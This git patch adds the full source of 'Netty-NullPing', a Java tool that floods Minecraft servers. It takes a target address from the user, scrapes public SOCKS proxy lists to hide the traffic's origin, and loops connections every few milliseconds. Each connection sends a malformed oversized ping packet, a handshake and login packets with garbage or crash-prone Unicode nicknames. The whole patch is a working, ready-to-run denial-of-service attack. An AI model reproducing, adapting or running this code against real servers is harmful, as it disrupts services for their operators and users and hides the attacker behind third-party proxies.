From 653d068d25bff07bf2a96d0fc0bb5efdb3c2d518 Mon Sep 17 00:00:00 2001 From: JustNanix <79697582+JustNanix@users.noreply.github.com> Date: Tue, 26 Oct 2021 23:01:16 +0800 Subject: [PATCH] v1.1 --- pom.xml | 29 ++++++ src/main/java/ru/justnanix/nullping/Main.java | 62 ++++++++++++ .../justnanix/nullping/data/ProxyScraper.java | 98 +++++++++++++++++++ .../justnanix/nullping/nullping/NullPing.java | 67 +++++++++++++ .../nullping/NullPingChannelHandler.java | 34 +++++++ .../nullping/utils/CPacketHandshake.java | 24 +++++ .../nullping/utils/CPacketLogin.java | 17 ++++ .../justnanix/nullping/utils/CPacketPing.java | 15 +++ .../ru/justnanix/nullping/utils/Packet.java | 7 ++ .../nullping/utils/PacketEncoder.java | 12 +++ .../justnanix/nullping/utils/PacketUtils.java | 47 +++++++++ .../justnanix/nullping/utils/ThreadUtils.java | 9 ++ 12 files changed, 421 insertions(+) create mode 100644 pom.xml create mode 100644 src/main/java/ru/justnanix/nullping/Main.java create mode 100644 src/main/java/ru/justnanix/nullping/data/ProxyScraper.java create mode 100644 src/main/java/ru/justnanix/nullping/nullping/NullPing.java create mode 100644 src/main/java/ru/justnanix/nullping/nullping/NullPingChannelHandler.java create mode 100644 src/main/java/ru/justnanix/nullping/utils/CPacketHandshake.java create mode 100644 src/main/java/ru/justnanix/nullping/utils/CPacketLogin.java create mode 100644 src/main/java/ru/justnanix/nullping/utils/CPacketPing.java create mode 100644 src/main/java/ru/justnanix/nullping/utils/Packet.java create mode 100644 src/main/java/ru/justnanix/nullping/utils/PacketEncoder.java create mode 100644 src/main/java/ru/justnanix/nullping/utils/PacketUtils.java create mode 100644 src/main/java/ru/justnanix/nullping/utils/ThreadUtils.java diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..60e4fc0 --- /dev/null +++ b/pom.xml @@ -0,0 +1,29 @@ + + + 4.0.0 + + ru.justnanix + Netty-NullPing + 1.0 + + + 8 + 8 + + + + + io.netty + netty-all + 4.1.69.Final + + + + org.jsoup + jsoup + 1.14.3 + + + \ No newline at end of file diff --git a/src/main/java/ru/justnanix/nullping/Main.java b/src/main/java/ru/justnanix/nullping/Main.java new file mode 100644 index 0000000..e61ca8d --- /dev/null +++ b/src/main/java/ru/justnanix/nullping/Main.java @@ -0,0 +1,62 @@ +package ru.justnanix.nullping; + +import ru.justnanix.nullping.data.ProxyScraper; +import ru.justnanix.nullping.nullping.NullPing; +import ru.justnanix.nullping.utils.ThreadUtils; + +import java.util.Scanner; + +public class Main { + public static final ProxyScraper scraper = new ProxyScraper(); + + public static int loopThreads; + public static int threads; + + public static String host; + public static int port; + + public static void main(String[] args) { + System.out.println( + " __ __ __ __ __ __ ______ __ __ __ ______ \n" + + "/\\ \"-.\\ \\ /\\ \\/\\ \\ /\\ \\ /\\ \\ /\\ == \\ /\\ \\ /\\ \"-.\\ \\ /\\ ___\\ \n" + + "\\ \\ \\-. \\ \\ \\ \\_\\ \\ \\ \\ \\____ \\ \\ \\____ \\ \\ _-/ \\ \\ \\ \\ \\ \\-. \\ \\ \\ \\__ \\ \n" + + " \\ \\_\\\\\"\\_\\ \\ \\_____\\ \\ \\_____\\ \\ \\_____\\ \\ \\_\\ \\ \\_\\ \\ \\_\\\\\"\\_\\ \\ \\_____\\ \n" + + " \\/_/ \\/_/ \\/_____/ \\/_____/ \\/_____/ \\/_/ \\/_/ \\/_/ \\/_/ \\/_____/"); + System.out.println("\n\t\t\t\t\tv1.1 by JustNanix\n"); + + if (System.getProperty("os.name", "generic").toLowerCase().contains("win")) + System.out.println("Привет, " + System.getenv("username") + '\n'); + + try (Scanner scanner = new Scanner(System.in)) { + System.out.println("|| Введите макс кол-во потоков (рекоменд. 256)"); + System.out.print("> "); + + threads = Integer.parseInt(scanner.nextLine()); + + System.out.println("|| Введите кол-во loop потоков (рекоменд. 4)"); + System.out.print("> "); + + loopThreads = Integer.parseInt(scanner.nextLine()); + + System.out.println("|| Введите айпи: "); + System.out.print("> "); + + String ip = scanner.nextLine(); + + host = ip.split(":")[0]; + port = Integer.parseInt(ip.split(":")[1]); + + System.out.println(); + scraper.init(); + + System.out.println("\n|| Начинаю пиздить сервер..."); + new NullPing().launch(); + } catch (Exception e) { + System.out.println("|| Возникла ошибка! Проверьте, правильно ли вы ввели айпи/потоки."); + e.printStackTrace(); + + ThreadUtils.sleep(10000L); + System.exit(0); + } + } +} diff --git a/src/main/java/ru/justnanix/nullping/data/ProxyScraper.java b/src/main/java/ru/justnanix/nullping/data/ProxyScraper.java new file mode 100644 index 0000000..a5cac27 --- /dev/null +++ b/src/main/java/ru/justnanix/nullping/data/ProxyScraper.java @@ -0,0 +1,98 @@ +package ru.justnanix.nullping.data; + +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; + +import java.net.InetSocketAddress; +import java.util.*; +import java.util.concurrent.CopyOnWriteArrayList; +import java.util.stream.Collectors; + +public class ProxyScraper { + private List proxies = new CopyOnWriteArrayList<>(); + private int number = 0; + + public void init() { + try { + System.out.println("|| Загружаю прокси..."); + + Thread one = new Thread(() -> { + try { + Document proxyList = Jsoup.connect("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4").get(); + proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS4, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); + } catch (Throwable ignored) {} + + try { + Document proxyList = Jsoup.connect("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5").get(); + proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS5, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); + } catch (Throwable ignored) {} + }); + + Thread two = new Thread(() -> { + try { + Document proxyList = Jsoup.connect("https://www.proxy-list.download/api/v1/get?type=socks4").get(); + proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS4, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); + } catch (Throwable ignored) {} + + try { + Document proxyList = Jsoup.connect("https://www.proxy-list.download/api/v1/get?type=socks5").get(); + proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS5, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); + } catch (Throwable ignored) {} + }); + + Thread three = new Thread(() -> { + try { + Document proxyList = Jsoup.connect("https://openproxylist.xyz/socks4.txt").get(); + proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS4, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); + } catch (Throwable ignored) {} + + try { + Document proxyList = Jsoup.connect("https://openproxylist.xyz/socks5.txt").get(); + proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS5, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); + } catch (Throwable ignored) {} + }); + + one.start(); + two.start(); + three.start(); + + one.join(); + two.join(); + three.join(); + + proxies = new CopyOnWriteArrayList<>(new HashSet<>(proxies)); + System.out.println("|| Загружено > " + proxies.size() + " шт. свежих SOCKS4 прокси"); + } catch (Exception ignored) {} + } + + public Proxy getProxy() { + if (++number >= proxies.size() - 1) + number = 0; + + return proxies.get(number); + } + + public static class Proxy { + private final ProxyType type; + private final InetSocketAddress address; + + public Proxy(ProxyType type, InetSocketAddress address) { + this.type = type; + this.address = address; + } + + public ProxyType getType() { + return type; + } + + public InetSocketAddress getAddress() { + return address; + } + } + + public enum ProxyType { + SOCKS4, + SOCKS5, + HTTP + } +} diff --git a/src/main/java/ru/justnanix/nullping/nullping/NullPing.java b/src/main/java/ru/justnanix/nullping/nullping/NullPing.java new file mode 100644 index 0000000..63e9c28 --- /dev/null +++ b/src/main/java/ru/justnanix/nullping/nullping/NullPing.java @@ -0,0 +1,67 @@ +package ru.justnanix.nullping.nullping; + +import io.netty.bootstrap.Bootstrap; +import io.netty.channel.*; +import io.netty.channel.epoll.Epoll; +import io.netty.channel.epoll.EpollEventLoopGroup; +import io.netty.channel.epoll.EpollSocketChannel; +import io.netty.channel.nio.NioEventLoopGroup; +import io.netty.channel.socket.SocketChannel; +import io.netty.channel.socket.nio.NioSocketChannel; +import io.netty.handler.proxy.Socks4ProxyHandler; +import ru.justnanix.nullping.Main; +import ru.justnanix.nullping.utils.PacketEncoder; +import ru.justnanix.nullping.utils.ThreadUtils; + +public class NullPing { + private final EventLoopGroup loopGroup = Epoll.isAvailable() ? new EpollEventLoopGroup(Main.threads) : new NioEventLoopGroup(Main.threads); + private final Class channelType = Epoll.isAvailable() ? EpollSocketChannel.class : NioSocketChannel.class; + + private final ChannelInitializer channelInitializer = new ChannelInitializer() { + @Override + protected void initChannel(Channel channel) { + Socks4ProxyHandler handler = new Socks4ProxyHandler(Main.scraper.getProxy().getAddress()); + + handler.setConnectTimeoutMillis(8000L); + handler.connectFuture().addListener(future -> { + if (!handler.isConnected()) { + channel.close(); + } + }); + + channel.pipeline().addFirst(handler); + channel.pipeline().addLast(new PacketEncoder()); + channel.pipeline().addLast(new NullPingChannelHandler()); + channel.pipeline().addLast(new ChannelHandler() { + @Override + public void handlerAdded(ChannelHandlerContext channelHandlerContext) {} + @Override + public void handlerRemoved(ChannelHandlerContext channelHandlerContext) {} + + @Override + public void exceptionCaught(ChannelHandlerContext ctx, Throwable throwable) { + ctx.close(); + } + }); + } + }; + + public void launch() { + for (int i = 0; i < Main.loopThreads; i++) { + new Thread(() -> { + while (true) { + Bootstrap bootstrap = new Bootstrap() + .channel(channelType) + .group(loopGroup) + .option(ChannelOption.TCP_NODELAY, true) + .option(ChannelOption.SO_KEEPALIVE, false) + .handler(channelInitializer); + + bootstrap.connect(Main.host, Main.port); + + ThreadUtils.sleep(2L); + } + }).start(); + } + } +} diff --git a/src/main/java/ru/justnanix/nullping/nullping/NullPingChannelHandler.java b/src/main/java/ru/justnanix/nullping/nullping/NullPingChannelHandler.java new file mode 100644 index 0000000..2d57951 --- /dev/null +++ b/src/main/java/ru/justnanix/nullping/nullping/NullPingChannelHandler.java @@ -0,0 +1,34 @@ +package ru.justnanix.nullping.nullping; + +import io.netty.channel.ChannelHandlerContext; +import io.netty.channel.ChannelInboundHandlerAdapter; +import ru.justnanix.nullping.utils.CPacketHandshake; +import ru.justnanix.nullping.utils.CPacketLogin; +import ru.justnanix.nullping.utils.CPacketPing; + +import java.util.Random; + +public class NullPingChannelHandler extends ChannelInboundHandlerAdapter { + private static final Random random = new Random(System.currentTimeMillis()); + + @Override + public void channelActive(ChannelHandlerContext ctx) { + ctx.writeAndFlush(new CPacketPing()); + + String nick; + if (random.nextBoolean()) nick = "" + random.nextInt(-1); + else if (random.nextBoolean()) nick = " "; + else if (random.nextBoolean()) nick = "abcdefghijklmnopqrstuvwxyz123456789"; + else nick = "ب����ََ����ّّّْر����ََ����ّّّْآ���َ�ّ 🇮🇹ب����ََ����ّّّْر����ََ����ّّّْآ���َ�ّ🇮🇹"; + + ctx.writeAndFlush(new CPacketHandshake(2)); + ctx.writeAndFlush(new CPacketLogin(nick)); + + ctx.close(); + } + + @Override + public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { + + } +} diff --git a/src/main/java/ru/justnanix/nullping/utils/CPacketHandshake.java b/src/main/java/ru/justnanix/nullping/utils/CPacketHandshake.java new file mode 100644 index 0000000..529258a --- /dev/null +++ b/src/main/java/ru/justnanix/nullping/utils/CPacketHandshake.java @@ -0,0 +1,24 @@ +package ru.justnanix.nullping.utils; + +import io.netty.buffer.ByteBuf; +import ru.justnanix.nullping.Main; + +public class CPacketHandshake implements Packet { + private final int state; + + public CPacketHandshake(int state) { + this.state = state; + } + + @Override + public void writePacketData(ByteBuf byteBuf) { + byteBuf.writeByte(0x00); + + PacketUtils.writeVarInt(340, byteBuf); + PacketUtils.writeString(Main.host, 255, byteBuf); + + byteBuf.writeShort(Main.port); + + PacketUtils.writeVarInt(state, byteBuf); + } +} diff --git a/src/main/java/ru/justnanix/nullping/utils/CPacketLogin.java b/src/main/java/ru/justnanix/nullping/utils/CPacketLogin.java new file mode 100644 index 0000000..b993116 --- /dev/null +++ b/src/main/java/ru/justnanix/nullping/utils/CPacketLogin.java @@ -0,0 +1,17 @@ +package ru.justnanix.nullping.utils; + +import io.netty.buffer.ByteBuf; + +public class CPacketLogin implements Packet { + private final String nick; + + public CPacketLogin(String nick) { + this.nick = nick; + } + + @Override + public void writePacketData(ByteBuf byteBuf) { + byteBuf.writeByte(0x00); + PacketUtils.writeString(nick, byteBuf); + } +} diff --git a/src/main/java/ru/justnanix/nullping/utils/CPacketPing.java b/src/main/java/ru/justnanix/nullping/utils/CPacketPing.java new file mode 100644 index 0000000..7939aed --- /dev/null +++ b/src/main/java/ru/justnanix/nullping/utils/CPacketPing.java @@ -0,0 +1,15 @@ +package ru.justnanix.nullping.utils; + +import io.netty.buffer.ByteBuf; + +public class CPacketPing implements Packet { + @Override + public void writePacketData(ByteBuf byteBuf) { + byteBuf.writeByte(-71); + + for (int i = 0; i < 1900; ++i) { + byteBuf.writeByte(1); + byteBuf.writeByte(0); + } + } +} diff --git a/src/main/java/ru/justnanix/nullping/utils/Packet.java b/src/main/java/ru/justnanix/nullping/utils/Packet.java new file mode 100644 index 0000000..1b8ffa0 --- /dev/null +++ b/src/main/java/ru/justnanix/nullping/utils/Packet.java @@ -0,0 +1,7 @@ +package ru.justnanix.nullping.utils; + +import io.netty.buffer.ByteBuf; + +public interface Packet { + void writePacketData(ByteBuf byteBuf); +} diff --git a/src/main/java/ru/justnanix/nullping/utils/PacketEncoder.java b/src/main/java/ru/justnanix/nullping/utils/PacketEncoder.java new file mode 100644 index 0000000..8bae595 --- /dev/null +++ b/src/main/java/ru/justnanix/nullping/utils/PacketEncoder.java @@ -0,0 +1,12 @@ +package ru.justnanix.nullping.utils; + +import io.netty.buffer.ByteBuf; +import io.netty.channel.ChannelHandlerContext; +import io.netty.handler.codec.MessageToByteEncoder; + +public class PacketEncoder extends MessageToByteEncoder { + @Override + protected void encode(ChannelHandlerContext ctx, Packet packet, ByteBuf byteBuf) { + packet.writePacketData(byteBuf); + } +} diff --git a/src/main/java/ru/justnanix/nullping/utils/PacketUtils.java b/src/main/java/ru/justnanix/nullping/utils/PacketUtils.java new file mode 100644 index 0000000..c88d5b6 --- /dev/null +++ b/src/main/java/ru/justnanix/nullping/utils/PacketUtils.java @@ -0,0 +1,47 @@ +package ru.justnanix.nullping.utils; + +import io.netty.buffer.ByteBuf; + +import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; + +public abstract class PacketUtils { + public static final Charset UTF_8 = StandardCharsets.UTF_8; + + public static void writeString(String s, ByteBuf buf) { + if (s.length() > 32767) { + throw new RuntimeException(String.format("Cannot send string longer than Short.MAX_VALUE (got %s characters)", s.length())); + } + + byte[] b = s.getBytes(UTF_8); + + writeVarInt(b.length, buf); + buf.writeBytes(b); + } + + public static void writeString(String s, int maxLength, ByteBuf buf) { + if (s.length() > maxLength) + throw new RuntimeException(String.format("Cannot send string longer than %s (got %s characters)", maxLength, s.length())); + + + byte[] b = s.getBytes(UTF_8); + writeVarInt(b.length, buf); + + buf.writeBytes(b); + } + + + public static void writeVarInt(int value, ByteBuf output) { + do { + int part = value & 0x7F; + value >>>= 7; + + if (value != 0) + part |= 0x80; + + output.writeByte(part); + } while (value != 0); + } +} + + diff --git a/src/main/java/ru/justnanix/nullping/utils/ThreadUtils.java b/src/main/java/ru/justnanix/nullping/utils/ThreadUtils.java new file mode 100644 index 0000000..fa7db97 --- /dev/null +++ b/src/main/java/ru/justnanix/nullping/utils/ThreadUtils.java @@ -0,0 +1,9 @@ +package ru.justnanix.nullping.utils; + +public class ThreadUtils { + public static void sleep(long millis) { + try { + Thread.sleep(millis); + } catch (Exception ignored) {} + } +}